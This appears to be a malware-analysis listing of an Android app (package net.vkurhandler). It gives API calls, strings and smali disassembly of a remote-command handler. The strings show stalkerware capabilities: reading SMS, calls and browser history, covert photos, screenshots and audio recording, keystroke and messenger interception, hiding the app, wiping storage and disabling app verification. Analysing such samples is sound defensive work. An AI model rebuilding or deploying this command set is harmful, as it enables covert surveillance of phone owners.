                    • java.lang.String.equals
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • net.vkurhandler.AlarmActivity.a
                    • java.lang.String.equals
                    • net.vkurhandler.AlarmActivity.b
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • android.content.SharedPreferences.getInt
                    • net.vkurhandler.LocationNotifier.b
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.LocationNotifier.a
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • net.vkurhandler.MyApp.v
                    • android.text.TextUtils.isEmpty
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.SimChangeNotifier.a
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.q
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.q
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.r
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.r
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • android.content.Context.getPackageManager
                    • android.content.Context.getPackageName
                    • android.content.pm.PackageManager.getPackageInfo
                    • android.content.pm.PackageInfo.versionName:Ljava/lang/String
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • net.vkurhandler.MyApp.b
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • android.content.SharedPreferences.getAll
                    • java.util.Map.entrySet
                    • java.util.Set.iterator
                    • org.json.JSONObject.<init>
                    • java.util.Iterator.hasNext
                    • org.json.JSONObject.toString
                    • java.util.Iterator.next
                    • java.util.Map$Entry.getValue
                    • java.util.Map$Entry.getKey
                    • java.util.Map$Entry.getKey
                    • java.lang.String.valueOf
                    • java.util.Map$Entry.getValue
                    • java.lang.String.valueOf
                    • org.json.JSONObject.put
                    • java.lang.String.equals
                    • android.content.SharedPreferences.getString
                    • java.lang.String.length
                    • org.json.JSONArray.<init>
                    • java.lang.String.getBytes
                    • android.util.Base64.decode
                    • java.lang.String.<init>
                    • org.json.JSONArray.length
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.put
                    • org.json.JSONArray.put
                    • android.content.SharedPreferences.edit
                    • org.json.JSONArray.toString
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.q
                    • org.json.JSONArray.<init>
                    • org.json.JSONArray.getJSONObject
                    • org.json.JSONObject.getString
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • android.content.SharedPreferences.getString
                    • java.lang.String.length
                    • org.json.JSONArray.<init>
                    • org.json.JSONArray.<init>
                    • java.lang.String.getBytes
                    • android.util.Base64.decode
                    • java.lang.String.<init>
                    • org.json.JSONArray.length
                    • android.content.SharedPreferences.edit
                    • org.json.JSONArray.toString
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.q
                    • org.json.JSONArray.getJSONObject
                    • org.json.JSONObject.getString
                    • java.lang.String.equals
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.put
                    • org.json.JSONArray.put
                    • java.lang.String.equals
                    • android.content.SharedPreferences.getString
                    • java.lang.String.length
                    • org.json.JSONArray.<init>
                    • java.lang.String.getBytes
                    • android.util.Base64.decode
                    • java.lang.String.<init>
                    • org.json.JSONArray.length
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.put
                    • org.json.JSONArray.put
                    • android.content.SharedPreferences.edit
                    • org.json.JSONArray.toString
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.r
                    • org.json.JSONArray.<init>
                    • org.json.JSONArray.getJSONObject
                    • org.json.JSONObject.getString
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • android.content.SharedPreferences.getString
                    • java.lang.String.length
                    • org.json.JSONArray.<init>
                    • org.json.JSONArray.<init>
                    • java.lang.String.getBytes
                    • android.util.Base64.decode
                    • java.lang.String.<init>
                    • org.json.JSONArray.length
                    • android.content.SharedPreferences.edit
                    • org.json.JSONArray.toString
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.r
                    • org.json.JSONArray.getJSONObject
                    • org.json.JSONObject.getString
                    • java.lang.String.equals
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.put
                    • org.json.JSONArray.put
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • java.lang.String.split
                    • java.lang.String.equals
                    • org.json.JSONObject.<init>
                    • android.content.SharedPreferences.getLong
                    • java.lang.System.currentTimeMillis
                    • org.json.JSONObject.put
                    • net.vkurhandler.MyApp.v
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • net.vkurhandler.MyApp.w
                    • org.json.JSONObject.put
                    • net.vkurhandler.MyApp.w
                    • org.json.JSONObject.put
                    • net.vkurhandler.MyApp.f
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • java.lang.System.currentTimeMillis
                    • net.vkurhandler.MyApp.a
                    • org.json.JSONObject.put
                    • android.os.SystemClock.elapsedRealtime
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.toString
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.MyApp.e
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • net.vkurhandler.MyApp.f
                    • java.lang.Thread.<init>
                    • java.lang.Thread.start
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • android.content.SharedPreferences.getInt
                    • android.content.SharedPreferences.getBoolean
                    • java.io.File.getName
                    • java.io.File.getAbsolutePath
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.split
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.e
                    • net.vkurhandler.MyApp.e
                    • net.vkurhandler.MyApp.e
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.e
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.String.equals
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.j
                    • java.lang.String.equals
                    • net.vkurhandler.dj.a
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.String.equals
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.k
                    • java.lang.String.equals
                    • net.vkurhandler.dj.a
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.String.equals
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.i
                    • java.lang.String.equals
                    • net.vkurhandler.dj.a
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.String.equals
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.l
                    • java.lang.String.equals
                    • net.vkurhandler.dj.a
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.String.equals
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.m
                    • java.lang.String.equals
                    • net.vkurhandler.dj.a
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.String.equals
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.o
                    • java.lang.String.equals
                    • net.vkurhandler.dj.a
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.String.equals
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.n
                    • java.lang.String.equals
                    • net.vkurhandler.dj.a
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.String.equals
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.p
                    • java.lang.String.equals
                    • net.vkurhandler.dj.a
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.String.equals
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.g
                    • java.lang.String.equals
                    • net.vkurhandler.dj.a
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.String.equals
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.h
                    • java.lang.String.equals
                    • net.vkurhandler.dj.a
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.String.equals
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.b
                    • java.util.HashMap.get
                    • java.lang.String.equals
                    • net.vkurhandler.dj.a
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.String.equals
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.MyApp.e
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.MyApp.e
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.MyApp.e
                    • java.lang.String.equals
                    • android.content.SharedPreferences.getString
                    • org.json.JSONObject.<init>
                    • android.text.TextUtils.isEmpty
                    • org.json.JSONArray.<init>
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.getString
                    • org.json.JSONObject.put
                    • org.json.JSONObject.getString
                    • org.json.JSONObject.put
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.put
                    • org.json.JSONArray.put
                    • android.content.SharedPreferences.edit
                    • org.json.JSONArray.toString
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.MyApp.e
                    • org.json.JSONArray.<init>
                    • java.lang.String.equals
                    • android.content.SharedPreferences.getString
                    • android.text.TextUtils.isEmpty
                    • org.json.JSONArray.<init>
                    • org.json.JSONArray.<init>
                    • org.json.JSONArray.length
                    • android.content.SharedPreferences.edit
                    • org.json.JSONArray.toString
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.MyApp.e
                    • org.json.JSONArray.getJSONObject
                    • org.json.JSONObject.getString
                    • org.json.JSONObject.getString
                    • org.json.JSONObject.getInt
                    • java.lang.String.equals
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONArray.put
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.Integer.parseInt
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.MyApp.e
                    • java.lang.String.equals
                    • android.net.wifi.WifiManager.isWifiEnabled
                    • android.net.wifi.WifiManager.startScan
                    • android.content.IntentFilter.<init>
                    • android.content.Context.registerReceiver
                    • java.lang.String.equals
                    • java.lang.String.split
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.DispatchSchedule.b
                    • net.vkurhandler.DispatchSchedule.c
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getString
                    • org.json.JSONObject.getInt
                    • java.lang.String.equals
                    • android.content.Intent.<init>
                    • android.content.Intent.putExtra
                    • java.lang.Integer.parseInt
                    • android.content.Intent.putExtra
                    • android.content.Context.startService
                    • java.lang.String.equals
                    • android.content.Intent.<init>
                    • android.content.Intent.putExtra
                    • java.lang.Integer.parseInt
                    • android.content.Intent.putExtra
                    • android.content.Context.startService
                    • java.lang.String.equals
                    • android.util.Base64.decode
                    • java.lang.String.<init>
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.getString
                    • org.json.JSONObject.getString
                    • org.json.JSONObject.getString
                    • org.json.JSONObject.getString
                    • org.json.JSONObject.getString
                    • android.net.Uri.parse
                    • java.lang.String.equals
                    • android.provider.Browser.BOOKMARKS_URI:Landroid/net/Uri
                    • java.lang.String.equals
                    • android.content.ComponentName.<init>
                    • android.app.admin.DevicePolicyManager.isAdminActive
                    • android.app.admin.DevicePolicyManager.removeActiveAdmin
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.String.equals
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • java.lang.String.split
                    • java.lang.String.equals
                    • java.lang.Integer.parseInt
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.String.equals
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.String.equals
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.String.equals
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.KeysInterceptor.a
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.String.equals
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.KeysInterceptor.a
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.String.equals
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • java.lang.Integer.parseInt
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.KeysInterceptor.a
                    Strings
                    • arecord_env_schedule
                    • mode
                    • when
                    • arecord_schedule_mode
                    • arecord_schedule_when
                    • ok
                    • parent_control_block_app
                    • parent_control_block_app_mode
                    • parent_control_block_app_when
                    • Commander
                    • manual_change_preference
                    • ,
                    • int
                    • long
                    • boolean
                    • string
                    • float
                    • toggle_gps_on_sms
                    • true
                    • toggle_gps_on_call
                    • silence_mode
                    • arecord_settings
                    • ;
                    • incorrect_params
                    • not_supported
                    • operation_fail
                    • read_calls
                    • DESC
                    • 1
                    • asc
                    • desc
                    • read_sms
                    • interval_send
                    • enable_wifi
                    • disable_wifi
                    • enable_gprs
                    • disable_gprs
                    • erase_sd_card
                    • error
                    • disable_verify_apps
                    • check_verify_apps
                    • hide
                    • .FakeActivity
                    • hide_app
                    • unhide
                    • find
                    • type
                    • sub_type
                    • date
                    • charger
                    • bat_level
                    • response_transport
                    • response_number
                    • app_list
                    • enable_gps
                    • disable_gps
                    • arecord_start
                    • end_time_arecord
                    • sd_card_not_found
                    • arecord_stop
                    • media_send
                    • dispatch_media
                    • content_send
                    • dispatch_content
                    • command_send
                    • dispatch_command
                    • take_photo2
                    • take_photo_in_process
                    • take_photo50
                    • take_photo
                    • call_password
                    • call_record_type
                    • register_gcm
                    • ping
                    • alarm_on
                    • alarm_off
                    • enable_send_interval
                    • transmit_location
                    • disable_send_interval
                    • enable_send_sms
                    • transmit_sms
                    • disable_send_sms
                    • enable_send_calls
                    • transmit_calls
                    • disable_send_calls
                    • update_sim
                    • sim_serial_empty
                    • sim_serial_number
                    • enable_catch_photo
                    • interception_photo
                    • disable_catch_photo
                    • enable_catch_audio
                    • interception_audio
                    • disable_catch_audio
                    • enable_run_no_pwd
                    • run_no_pwd
                    • disable_run_no_pwd
                    • version
                    • contact_list
                    • run_app
                    • gps_search_timeout
                    • get_settings
                    • add_path_to_interception_photo
                    • photo_interception_path_json
                    • path
                    • del_path_from_interception_photo
                    • add_path_to_interception_audio
                    • audio_interception_path_json
                    • del_path_from_interception_audio
                    • clear_app_folder
                    • enable_media_send_only_wifi
                    • send_media_only_wifi
                    • disable_media_send_only_wifi
                    • send_sms
                    • reply
                    • env_time
                    • operator
                    • screen_on
                    • inet_type
                    • record_type
                    • has_root_access
                    • top_app
                    • app_work_time
                    • os_work_time
                    • sd_total_size
                    • sd_avail_size
                    • gps_enable
                    • interception_photo_quality
                    • screen_quality
                    • take_screen
                    • make_photo_unlock_config
                    • reboot
                    • update
                    • delete
                    • screen_use_jpeg_compress
                    • app_name
                    • pkg_name
                    • file_ext
                    • .png
                    • file_name
                    • absolute_file_path
                    • enable_screen_maker
                    • take_screen_interval
                    • disable_screen_maker
                    • messenger_rt_vkontakte
                    • messenger_rt_vkkate
                    • messenger_rt_odnoklassniki
                    • messenger_rt_whatsapp
                    • messenger_rt_telegram
                    • messenger_rt_instagram
                    • messenger_rt_imo
                    • messenger_rt_gem4me
                    • messenger_rt_facebook
                    • messenger_rt_viber
                    • messenger_rt_skype
                    • com.skype.raider
                    • locked
                    • factory_reset
                    • enable_screen_maker_app_filter
                    • disable_screen_maker_app_filter
                    • add_app_to_screen_maker_app_filter
                    • interval
                    • del_app_to_screen_maker_app_filter
                    • screen_maker_app_filter_type
                    • get_wifi_list
                    • wifi_disabled
                    • android.net.wifi.SCAN_RESULTS
                    • send_schedule
                    • dispatch_schedule_time_send
                    • dispatch_schedule_send_media
                    • dispatch_schedule_send_content
                    • dispatch_schedule_send_command
                    • send_on_change_sim
                    • get_media_list
                    • data_item_list
                    • sort
                    • limit
                    • data_item_download
                    • dispatch_send_by_id
                    • dispatch_id
                    • data_item_delete
                    • read_browser_history
                    • browser
                    • date_from
                    • date_to
                    • order
                    • content://com.android.chrome.browser/bookmarks
                    • default
                    • disable_admin
                    • move_to_system
                    • app_in_system
                    • use_gps_if_screen_on
                    • make_photo_on_failed_unlock
                    • number_of_failed_unlocks
                    • make_photo_on_unlock
                    • sms_reply
                    • key_intercept_onoff
                    • notification_intercept_onoff
                    • intercept_added_contact
                    • key_intercept_min_pressed_keys
                    • unknown_command
                    Position Instruction Meta Information
                    0const/4 v7, 0x4
                    1const-wide/16 v2, 0x0
                    2const/4 v6, 0x2
                    3const/4 v1, 0x1
                    4const/4 v0, 0x0
                    5try_start_6:
                    6const-string v4, "arecord_env_schedule"
                    8iget-object v5, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    10invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    11move-result v4
                    12if-eqz v4, :cond_57
                    13new-instance v0, Lorg/json/JSONObject;
                    15iget-object v1, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    17invoke-direct {v0, v1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    19const-string v1, "mode"
                    21invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    22move-result v1
                    24const-string v2, "when"
                    26invoke-virtual {v0, v2}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                    27move-result-object v0
                    29invoke-virtual {v0}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                    30move-result-object v0
                    32iget-object v2, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    34invoke-interface {v2}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    35move-result-object v2
                    37const-string v3, "arecord_schedule_mode"
                    39invoke-interface {v2, v3, v1}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    40move-result-object v1
                    42invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    44iget-object v1, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    46invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    47move-result-object v1
                    49const-string v2, "arecord_schedule_when"
                    51invoke-interface {v1, v2, v0}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    52move-result-object v0
                    54invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    56iget-object v0, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    58invoke-static {v0}, Lnet/vkurhandler/AudiorecordEnvironmentSchedule;->b(Landroid/content/Context;)V
                    60const-string v0, "ok"
                    61iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    62goto_4e:
                    63invoke-direct {p0}, Lnet/vkurhandler/ah;->c()V
                    64try_end_51:
                    65iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    67invoke-static {v0}, Lnet/vkurhandler/gn;->a(Landroid/content/SharedPreferences;)V
                    68return-void
                    69try_start_57:
                    70const-string v4, "parent_control_block_app"
                    72iget-object v5, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    74invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    75move-result v4
                    76if-eqz v4, :cond_ae
                    77new-instance v0, Lorg/json/JSONObject;
                    79iget-object v1, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    81invoke-direct {v0, v1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    83const-string v1, "mode"
                    85invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    86move-result v1
                    88const-string v2, "when"
                    90invoke-virtual {v0, v2}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                    91move-result-object v0
                    93invoke-virtual {v0}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                    94move-result-object v0
                    96iget-object v2, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    98invoke-interface {v2}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    99move-result-object v2
                    101const-string v3, "parent_control_block_app_mode"
                    103invoke-interface {v2, v3, v1}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    104move-result-object v1
                    106invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    108iget-object v1, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    110invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    111move-result-object v1
                    113const-string v2, "parent_control_block_app_when"
                    115invoke-interface {v1, v2, v0}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    116move-result-object v0
                    118invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    120iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    122invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->x()Lnet/vkurhandler/cg;
                    123move-result-object v0
                    125invoke-virtual {v0}, Lnet/vkurhandler/cg;->c()V
                    127const-string v0, "ok"
                    128iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    129try_end_a3: goto/16 :goto_4e
                    130catch_a4: move-exception v0
                    132const-string v1, "Commander"
                    134invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    136invoke-direct {p0, v0}, Lnet/vkurhandler/ah;->a(Ljava/lang/Exception;)V
                    137goto/16 :goto_51
                    138try_start_ae:
                    139const-string v4, "manual_change_preference"
                    141iget-object v5, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    143invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    144move-result v4
                    145if-eqz v4, :cond_14c
                    147iget-object v0, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    149const-string v1, ","
                    151invoke-virtual {v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    152move-result-object v0
                    153const/4 v1, 0x0
                    154aget-object v1, v0, v1
                    155const/4 v2, 0x1
                    156aget-object v2, v0, v2
                    157const/4 v3, 0x2
                    158aget-object v0, v0, v3
                    160const-string v3, "int"
                    162invoke-virtual {v3, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    163move-result v3
                    164if-eqz v3, :cond_e8
                    166iget-object v2, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    168invoke-interface {v2}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    169move-result-object v2
                    171invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    172move-result v0
                    174invoke-interface {v2, v1, v0}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    175move-result-object v0
                    177invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    178goto_e2:
                    179const-string v0, "ok"
